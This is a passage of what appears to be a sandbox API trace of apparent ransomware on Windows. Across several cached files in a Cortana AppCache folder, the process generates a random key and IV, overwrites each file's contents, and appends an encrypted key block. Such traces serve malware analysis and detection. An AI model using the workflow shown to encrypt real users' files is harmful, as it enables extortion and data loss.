out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1ef39 [0193.829] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.829] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.829] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.829] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.829] CloseHandle (hObject=0x1c20) returned 1 [0193.838] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0193.838] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.838] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt", dwFileAttributes=0x80) returned 1 [0193.838] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_18[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.838] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=152409) returned 1 [0193.839] ReadFile (in: hFile=0x1c20, lpBuffer=0x3562008, nNumberOfBytesToRead=0x25359, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesRead=0x2e1f9bc*=0x25359, lpOverlapped=0x0) returned 1 [0193.848] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-152409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.848] WriteFile (in: hFile=0x1c20, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x25359, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x25359, lpOverlapped=0x0) returned 1 [0193.848] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x25359 [0193.848] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.848] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.849] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.849] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.849] CloseHandle (hObject=0x1c20) returned 1 [0193.851] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.851] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0193.851] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_17[1].txt", dwFileAttributes=0x80) returned 1 [0193.851] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_17[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_17[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.851] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=27138) returned 1 [0193.852] ReadFile (in: hFile=0x1c20, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x6a02, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x6a02, lpOverlapped=0x0) returned 1 [0193.860] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-27138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.860] WriteFile (in: hFile=0x1c20, lpBuffer=0x30dba40*, nNumberOfBytesToWrite=0x6a02, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dba40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6a02, lpOverlapped=0x0) returned 1 [0193.860] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6a02 [0193.860] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.860] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.861] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.861] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.861] CloseHandle (hObject=0x1c20) returned 1 [0193.866] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0193.866] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.866] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt", dwFileAttributes=0x80) returned 1 [0193.867] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_16[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.868] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=127409) returned 1 [0193.868] ReadFile (in: hFile=0x1c20, lpBuffer=0x3562008, nNumberOfBytesToRead=0x1f1b1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesRead=0x2e1f9bc*=0x1f1b1, lpOverlapped=0x0) returned 1 [0193.882] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-127409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.882] WriteFile (in: hFile=0x1c20, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x1f1b1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1f1b1, lpOverlapped=0x0) returned 1 [0193.882] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1f1b1 [0193.882] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.882] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.883] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.883] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.883] CloseHandle (hObject=0x1c20) returned 1 [0193.885] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.885] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.885] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_15[1].txt", dwFileAttributes=0x80) returned 1 [0193.885] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_15[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_15[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.886] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=115790) returned 1 [0193.886] ReadFile (in: hFile=0x1c20, lpBuffer=0x3562008, nNumberOfBytesToRead=0x1c44e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesRead=0x2e1f9bc*=0x1c44e, lpOverlapped=0x0) returned 1 [0193.898] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-115790, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.898] WriteFile (in: hFile=0x1c20, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x1c44e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1c44e, lpOverlapped=0x0) returned 1 [0193.899] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1c44e [0193.899] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.899] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.899] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.899] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.899] CloseHandle (hObject=0x1c20) returned 1 [0193.901] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0193.901] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0193.901] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_14[1].txt", dwFileAttributes=0x80) returned 1 [0193.901] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_14[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_14[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.902] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=494772) returned 1 [0193.904] ReadFile (in: hFile=0x1c20, lpBuffer=0x3562008, nNumberOfBytesToRead=0x78cb4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesRead=0x2e1f9bc*=0x78cb4, lpOverlapped=0x0) returned 1 [0193.934] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-494772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.934] WriteFile (in: hFile=0x1c20, lpBuffer=0x35dacc8*, nNumberOfBytesToWrite=0x78cb4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x35dacc8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x78cb4, lpOverlapped=0x0) returned 1 [0193.942] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x78cb4 [0193.942] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.942] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.944] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.945] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.945] CloseHandle (hObject=0x1c20) returned 1 [0193.946] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0193.946] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0193.946] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_13[1].txt", dwFileAttributes=0x80) returned 1 [0193.947] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_13[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_13[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.947] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=41199) returned 1 [0193.948] ReadFile (in: hFile=0x1c20, lpBuffer=0x30d5030, nNumberOfBytesToRead=0xa0ef, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0xa0ef, lpOverlapped=0x0) returned 1 [0193.963] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-41199, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.963] WriteFile (in: hFile=0x1c20, lpBuffer=0x30df128*, nNumberOfBytesToWrite=0xa0ef, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df128*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa0ef, lpOverlapped=0x0) returned 1 [0193.963] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa0ef [0193.963] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.963] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.963] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.964] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.964] CloseHandle (hObject=0x1c20) returned 1 [0193.966] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.966] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.966] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt", dwFileAttributes=0x80) returned 1 [0193.966] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_12[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.967] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2949) returned 1 [0193.967] ReadFile (in: hFile=0x1c20, lpBuffer=0x3562008, nNumberOfBytesToRead=0xb85, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesRead=0x2e1f9bc*=0xb85, lpOverlapped=0x0) returned 1 [0193.968] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-2949, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.968] WriteFile (in: hFile=0x1c20, lpBuffer=0x582160*, nNumberOfBytesToWrite=0xb85, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb85, lpOverlapped=0x0) returned 1 [0193.968] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb85 [0193.968] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.968] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.969] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.969] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.969] CloseHandle (hObject=0x1c20) returned 1 [0193.979] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.979] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.979] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_11[1].txt", dwFileAttributes=0x80) returned 1 [0193.979] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_11[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_11[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.980] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=34628) returned 1 [0193.980] ReadFile (in: hFile=0x1c20, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x8744, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x8744, lpOverlapped=0x0) returned 1 [0193.984] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-34628, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 